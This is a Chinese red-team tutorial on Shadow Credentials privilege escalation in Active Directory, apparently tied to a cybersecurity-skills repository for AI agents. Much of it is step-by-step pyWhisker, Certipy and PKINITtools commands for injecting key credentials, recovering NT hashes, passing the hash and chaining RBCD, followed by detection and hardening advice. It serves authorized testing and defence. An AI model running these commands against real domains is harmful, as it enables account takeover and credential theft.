news 2026/9/11 18:04:52

利用 Shadow Credentials 实现 Active Directory 提权:pyWhisker、Certipy 与 PKINIT 工具链实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
利用 Shadow Credentials 实现 Active Directory 提权:pyWhisker、Certipy 与 PKINIT 工具链实战

利用 Shadow Credentials 实现 Active Directory 提权:pyWhisker、Certipy 与 PKINIT 工具链实战

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

导读

Shadow Credentials 是 Active Directory 攻击面中一类高价值的凭据操纵技术:攻击者在拥有目标用户或计算机对象msDS-KeyCredentialLink属性写权限的前提下,注入自己生成的公钥,再通过 PKINIT 认证流程取回目标账户的 NT Hash,实现无需重置密码的完整账户接管。本文以 Abusing Shadow Credentials for Privilege Escalation 技能为骨架,系统梳理 pyWhisker、Certipyshadow、PKINITtools 三大工具的完整调用方式与参数含义,并结合该技能目录下的编排脚本 scripts/agent.py 从源码层面解析整个攻击链的落地细节、检测信号与修复建议。读完本文,你将掌握从"确认写权限"到"注入 Key Credential"再到"取回 NT Hash 并清理痕迹"的完整实战流程。

一、技术原理:为什么向msDS-KeyCredentialLink写入公钥即可拿下账户

Shadow Credentials 技术滥用的核心属性是 Active Directory 用户与计算机对象上的msDS-KeyCredentialLink。该属性存储原始公钥(即"Key Credentials"),其官方用途是支撑 Windows Hello for Business 与 Azure AD 设备注册所依赖的免密码证书登录——也就是 Kerberos 的 PKINIT(Public Key Cryptography for Initial Authentication)流程。

攻击链的可行性完全取决于 ACL 写权限:当攻击者掌握目标对象msDS-KeyCredentialLink的写权限(通常由GenericWriteGenericAllWritePropertyAddKeyCredentialLink等 ACE 授予,这些路径可通过 BloodHound 快速定位)时,就可以将自己的公钥追加到目标对象的该属性中。此后:

  1. 攻击者持有与注入公钥配套的私钥;
  2. 使用该私钥通过 PKINIT 向域控请求目标账户的 TGT(Kerberos 票据);
  3. 从 AS-REP 加密材料中恢复目标账户的 NT Hash。

整个过程不修改密码,因此不会触发密码重置类告警、不会锁定合法用户,隐蔽性远高于ForceChangePassword一类的暴力手法。

适用前提与限制:目标环境必须支持 PKINIT,且至少有一台运行 Windows Server 2016 及以上版本的域控制器(域功能级别需支持 Key Trust)。攻击面仅限已获得授权的红队/紫队场景——Shadow Credentials 会带来目标账户的完全接管,未经授权使用属于违法行为。这些前提在 SKILL.md 的 "Prerequisites" 与 Legal Notice 中有明确说明。

1.1 本技能在仓库中的定位

在 Anthropic-Cybersecurity-Skills 仓库(共 817 个结构化网络安全技能)中,该技能归属cybersecurity / red-teaming领域,标签涵盖shadow-credentialspywhiskercertipypkinitkey-credential-linkprivilege-escalation,并完成双重框架映射:

  • MITRE ATT&CK:T1098.005(Account Manipulation: Device Registration)——写入攻击者控制的 Key Credential 等同于为目标账户注册了一个备用的设备/证书凭据,恰好对应该子技术描述的"设备注册操纵"行为;
  • NIST CSF 2.0:PR.AA-05——攻击之所以可行,正是因为目标对象上存在过度授权的 ACE(GenericWrite/GenericAll/AddKeyCredentialLink),修复方向正是最小权限的强制执行。

完整的映射理由与关联技术(T1649、T1550.003/T1558)见 references/standards.md。

二、工具链总览与准备工作

完整攻击链需要三类工具协作,技能文档 SKILL.md 在 "Prerequisites" 中给出了标准安装方式:

工具角色安装方式
pyWhisker通过 LDAP 读写msDS-KeyCredentialLink,生成并注入 Key Credentialgit clonepip install .
Certipy集成shadow auto一键完成"注入 → PKINIT → 取 Hash → 清理"全流程pipx install certipy-ad
PKINITtools手动完成 PKINIT 请求 TGT 与 NT Hash 提取git clone即可

前置环境要求:

  • 已获得授权的渗透测试范围(包含 AD 凭据获取类技术);
  • 掌握一个对目标msDS-KeyCredentialLink具备写权限的主体;
  • 一台 Windows Server 2016+ 且启用 PKINIT 的域控制器;
  • 攻击主机与域控之间可达 LDAP(389/636)与 Kerberos(88)端口;
  • Linux 攻击主机需 Python 3.8+。

三、pyWhisker 完整参数参考(核心参考文档)

pyWhisker 是 ShutdownRepo 维护的 Python 实现(原始 C# 版本为 Elad Shamir 的 Whisker),调用范式为:

python3 pywhisker.py [auth] --target <obj> --action <action> [opts]

3.1 认证参数

参数含义
-d DOMAIN目标域名(FQDN),如corp.local
-u USER受控用户名
-p PASSWORD明文密码
-k/--no-pass使用 Kerberos 认证(依赖环境变量KRB5CCNAME指向的 ccache)
-H LM:NT传递哈希(Pass-the-Hash)

3.2 操作参数

参数含义
--target NAME目标用户/计算机名(将修改其属性)
--action list枚举目标上已存在的 Key Credentials
--action add生成密钥对并写入 Key Credential
--action remove--device-id移除指定的某一条 Key Credential
--action clear清空全部 Key Credentials
--action info展示某条 Key Credential 的详细信息
--filename NAME输出 PFX/PEM 文件的基名
--export PEM\|PFX输出格式(默认 PFX)
--device-id GUIDremove/info 操作锁定的目标设备 ID
--dc-ip IP指定域控制器 IP
--use-ldaps改用 LDAPS(636 端口)通信

3.3 pyWhisker 示例

python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \ --target victim --action add --filename victim_shadow

该命令会生成密钥对写入目标的msDS-KeyCredentialLink,并在本地落盘victim_shadow.pfx,同时打印 PFX 密码供后续 PKINIT 步骤使用。若你只持有 Kerberos 票据而非密码,可切换到票据认证并使用 LDAPS 加密通道:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \ --target "victim" --action "add" --filename victim_shadow --use-ldaps

四、Certipyshadow子命令参考(核心参考文档)

Certipy(ly4k/Certipy,安装包名certipy-ad)把整条攻击链封装为shadow子命令:

命令含义
certipy shadow auto端到端一键执行:添加 Key Credential → PKINIT 认证 → 导出 NT Hash → 清理恢复
certipy shadow add仅添加 Key Credential
certipy shadow list列出目标上的 Key Credentials
certipy shadow clear清空 Key Credentials
certipy shadow info展示 Key Credential 详情

4.1 关键认证与定位参数

参数含义
-u USER@DOMAIN用户名(UPN 形式)
-p PW明文密码
-hashes :NT传递 NT Hash
-k/-no-pass使用 Kerberos ccache
-dc-ip IP域控制器 IP
-account TARGET目标账户(计算机账户需带结尾$,如WS01$
-ns IP/-dns-tcp指定 DNS 解析器 / 强制 TCP 查询 DNS

4.2 Certipy 示例

certipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'WS01$'

shadow auto对计算机账户接管场景尤其高效——它会在内部自动完成 add → PKINIT → dump hash → cleanup 四个阶段,避免手动逐步操作带来的遗漏。需要说明的是,shadow只是 Certipy 众多子命令之一(其余还包括findreqauthrelaycaforge等),同仓库的 exploiting-adcs-with-certipy/references/api-reference.md 提供了 Certipy 全量子命令与公共认证参数(-hashes [LM]:NT-ns IP/-dns-tcp-debug等)的交叉参考。

五、PKINITtools:手动取回 TGT 与 NT Hash(核心参考文档)

当不使用shadow auto一键流程时,PKINITtools(dirkjanm)承担 PKINIT 阶段的最后两步:

脚本用途
gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache通过 PKINIT 请求 TGT,同时打印 AS-REP 会话密钥(AS-REP key)
getnthash.py -key <AS-REP-KEY> DOMAIN/USER依据 AS-REP 密钥恢复 NT Hash(需已设置KRB5CCNAME

5.1 示例

python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \ corp.local/victim victim.ccache export KRB5CCNAME=victim.ccache python3 getnthash.py -key <AS-REP-KEY> corp.local/victim

其中<AS-REP-KEY>gettgtpkinit.py输出的会话密钥(源码注释将其称为 AS-REP encryption key),getnthash.py正是借助它解密 AS-REP 中的 NT Hash 字段。

六、源码级解析:仓库编排脚本如何封装整条攻击链

仓库在 scripts/agent.py 中提供了一个可复用的编排器shadowcred_takeover.py,它把上面的工具链封装为两个子命令,可以直接作为红队自动化模板使用:

# 走 Certipy 一键流程 python shadowcred_takeover.py certipy -u attacker@corp.local -p 'Passw0rd!' \ --dc-ip 10.0.0.100 --target 'WS01$' # 走 pyWhisker + PKINITtools 手动流程 python shadowcred_takeover.py pywhisker -d corp.local -u attacker \ -p 'Passw0rd!' --dc-ip 10.0.0.100 --target victim \ --pywhisker ./pywhisker/pywhisker.py

6.1 Certipy 流程的调用链

从源码结构看,certipy_flow函数(agent.py 第 58-81 行)构造的命令与文档完全一致:

  • 启动前用_which_or_die检查certipy二进制是否存在,缺失时提示pipx install certipy-ad
  • 认证参数三选一:-p(明文密码)、-hashes(传递哈希)、-k -no-pass(Kerberos),三者皆无则直接退出并提示错误;
  • 可选追加-ns <IP> -dns-tcp控制 DNS 解析方式;
  • 通过run()以 600 秒超时执行子进程,parse_nthash用正则Got hash for ...:aad3b...:<NT>从输出中剥离出 32 位十六进制的 NT Hash 片段(agent.py 第 49-55 行);
  • 成功后直接打印可复用的横向移动命令:nxc smb <dc-ip> -u <target> -H <NT>

6.2 pyWhisker 流程的调用链

pywhisker_flow(agent.py 第 83-112 行)则:

  • 校验--pywhisker指向的脚本存在后,构造--action add --filename shadow_<target>命令;
  • 同样支持-p-k --no-pass两种认证分支;
  • 从输出中正则提取 PFX 密码(匹配Password for the PFX: <pw>模式);
  • 打印后续 PKINITtools 的接续步骤提示(gettgtpkinit.py/getnthash.py),并强制提示完成后用--action clear清理注入的 Key Credential。

这印证了文档中"add → PKINIT → NT hash → cleanup"的标准工作流,也体现了该技能"操作后恢复对象原状"的实战纪律。

七、完整攻击工作流(八步实战)

结合 SKILL.md 的 Workflow 章节,完整流程如下:

Step 1:确认写权限

先对目标执行list,既能验证权限可用,也能记录攻击前状态:

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \ --target "victim" --action "list"

返回空列表或可读结果即说明具备下一步add所需的写权限。

Step 2:注入 Shadow Credential

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \ --target "victim" --action "add" --filename victim_shadow # 生成 victim_shadow.pfx 并打印 PFX 密码

Step 3:通过 PKINIT 请求 TGT

python3 PKINITtools/gettgtpkinit.py \ -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \ corp.local/victim victim.ccache

Step 4:恢复 NT Hash

export KRB5CCNAME=victim.ccache python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim # 输出 victim 的 NT hash

Step 5:Certipy 一键替代方案

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'victim' # 计算机账户使用带 $ 的 sAMAccountName certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'WS01$'

Step 6:利用恢复的凭据继续移动

# 使用 NT hash 进行 Pass-the-Hash nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH> # 或直接使用 TGT 票据 export KRB5CCNAME=victim.ccache nxc smb dc.corp.local -u victim --use-kcache

Step 7(可选):计算机账户 → RBCD 链式利用

当目标是计算机账户时,取回的密钥/Hash 可进一步配置基于资源的约束性委派(RBCD),实现向该主机任意用户冒充:

# 设置 RBCD,使攻击者控制的 SPN 可向 WS01$ 冒充任意用户 impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \ -action write 'corp.local/attacker:Passw0rd!'

Step 8:清理

# pyWhisker:按 device-id 移除(add 时打印),或清空自己注入的全部 python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \ --target "victim" --action "remove" --device-id <DEVICE-ID> # Certipy shadow auto 会自动清理;手动流程则执行: certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'victim'

八、检测信号与加固建议

8.1 检测信号(参考文档中的 Detection signal)

  • Windows 安全事件 ID 5136:目录对象修改事件。需开启"目录服务更改"(Directory Service Changes) 审计,监控msDS-KeyCredentialLink属性的变更;
  • BloodHound 边AddKeyCredentialLink边直接标识出哪些主体具备该写权限,可用于攻击路径可视化与权限收敛排查。

8.2 检测与修复要点

维度建议
检测监控事件 5136 中msDS-KeyCredentialLink的修改;当非 AD Connect / 非 Intune 主体写入该属性时应立即告警
审计在用户/计算机 OU 上启用目录服务对象更改审计
最小权限移除多余的GenericWrite/GenericAll/AddKeyCredentialLinkACE(对应 BloodHound 的AddKeyCredentialLink边)
缓解在未使用 Windows Hello/设备注册的环境中限制 Key Credentials 的写入者范围,并考虑对 Tier-0 受保护账户单独加固

九、验证清单

依据 SKILL.md 的 Validation Criteria,一次完整的 Shadow Credentials 提权练习应以以下结果作为收尾标准:

  • 对目标msDS-KeyCredentialLink的写权限已确认(list成功)
  • Key Credential 注入成功(PFX 已生成)
  • 为目标账户成功取得 PKINIT TGT
  • 目标 NT Hash 已恢复并通过某服务验证可用
  • (若为计算机账户)RBCD 链式利用或后续移动已验证
  • 注入的 Key Credential 已移除 / 对象状态已恢复
  • 已记录并给出授权 ACL 路径的修复建议

十、小结

Shadow Credentials 之所以成为红队高价值技术,在于它把"可写对象属性的低危权限"放大为"账户完全接管":pyWhisker 负责属性注入、PKINITtools 负责取回凭据、Certipyshadow auto则把整条链路压缩为一条命令。对防守方而言,事件 5136 与AddKeyCredentialLink边的持续监控、最小权限的 ACE 收敛,是阻断这类攻击的关键。本文对应的完整技能定义、框架映射与可复用编排脚本,可分别参考 SKILL.md、references/standards.md 与 scripts/agent.py。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/11 18:04:11

Grain算法的各种密码分析方法全面盘点

Grain算法的各种密码分析方法全面盘点针对Grain算法家族的密码分析方法&#xff0c;根据攻击的核心策略和实现路径&#xff0c;可以系统地分为数学分析攻击、侧信道攻击和新型计算攻击三大类别。&#x1f4dc; 数学分析攻击这类攻击主要利用算法内部的数学结构弱点&#xff0c;…

作者头像 李华
网站建设 2026/9/11 18:02:58

Homepage 项目中 Kopia 备份服务 Widget 的配置指南与实现原理

Homepage 项目中 Kopia 备份服务 Widget 的配置指南与实现原理 【免费下载链接】homepage A highly customizable homepage (or startpage / application dashboard) with Docker and service API integrations. 项目地址: https://gitcode.com/GitHub_Trending/ho/homepage …

作者头像 李华
网站建设 2026/9/11 17:59:23

yao-meta-skill - artifact-design-doctrine

工件设计原则 当技能产生面向用户的工件时使用此层&#xff1a;HTML 报告、Markdown 教程、审查查看器、仪表板、截图、表格、幻灯片式页面或生成的技能概览页。 原则 输出质量是技能质量的一部分。生成的技能不仅应该知道要做什么&#xff1b;还应该知道其最终工件应如何阅读、…

作者头像 李华
网站建设 2026/9/11 17:59:21

xvary-stock-research - nvda-analysis

示例&#xff1a;/analyze NVDA 示例性技能输出格式。以下指标由公开的 EDGAR 市场快照生成&#xff0c;应视为研究背景&#xff0c;而非投资建议。 裁决 建设性&#xff08;信念度&#xff1a;74/100&#xff09; NVDA 被筛选为具有卓越经营杠杆的高质量复利增长公司&#…

作者头像 李华